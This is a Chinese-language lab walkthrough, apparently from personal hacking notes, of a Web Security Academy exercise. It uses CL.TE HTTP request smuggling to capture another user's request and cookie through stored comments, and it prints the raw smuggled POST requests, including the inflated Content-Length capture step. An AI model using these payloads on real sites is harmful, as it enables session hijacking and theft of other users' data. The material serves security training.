> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capture-queries-from-other-users.md).
# 捕获其他用户的查询
### 利用 HTTP 请求走私捕获其他用户的请求
实验室正在设置前端服务器和后端服务器。前端 **不支持分块编码**. / 目标是 **走私** 将一个请求发送到后端，使得 **下一个用户请求** 是 **由应用程序存储的**. / 然后， **恢复这个请求** 并使用 **受害者的 Cookie** 访问他的账户。
实验室模拟了一名受害者用户：在发送这几个 POST 请求时，受害者会执行他自己的请求。/ 有时需要重复攻击多次。
> 尽管实验室允许 HTTP/2，但解决方案必须使用 **HTTP/1** 因为某些技术只在该协议中可行。" " 前端会解析 **Content-Length**，而后端会将 **Transfer-Encoding: chunked**视为不同内容，从而造成可利用的偏移。" " Burp 扩展 HTTP Request Smuggler 可以帮助手动修正长度。
#### 1. **前端解析的请求**
前端读取 `Content-Length: 13`，然后还会看到 `Transfer-Encoding: chunked`:
```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
postId=6
```
在分块结束后（`0`），会额外添加一个后端请求。
#### 2. **注入一个用于发布评论的 POST 请求**
你构造一个走私请求，其中包含第二个完整请求：
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked
0
postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
结果：/ 被走私的请求会被当作来自你自己的会话来处理，应用程序会发布该评论。
#### 3. **强制受害者发布评论**
你将请求体修改为：
{% code overflow="wrap" %}
```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
{% endcode %}
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
并发送类似的请求。/ 重新加载后，应用程序显示 **感谢你的评论**，这表明受害者发布了这条评论。
#### 4. **准备捕获受害者的请求**
为了捕获受害者用户的整个请求，你大幅增加 `Content-Length` 这样后端就会把下面的请求作为内容来处理：
```http
Content-Length: 1000
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```
随后，受害者发送的下一个请求会被吸收到预期的请求体中……/ 并变成 **可在应用程序存储中查询**.
---
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## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capture-queries-from-other-users.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
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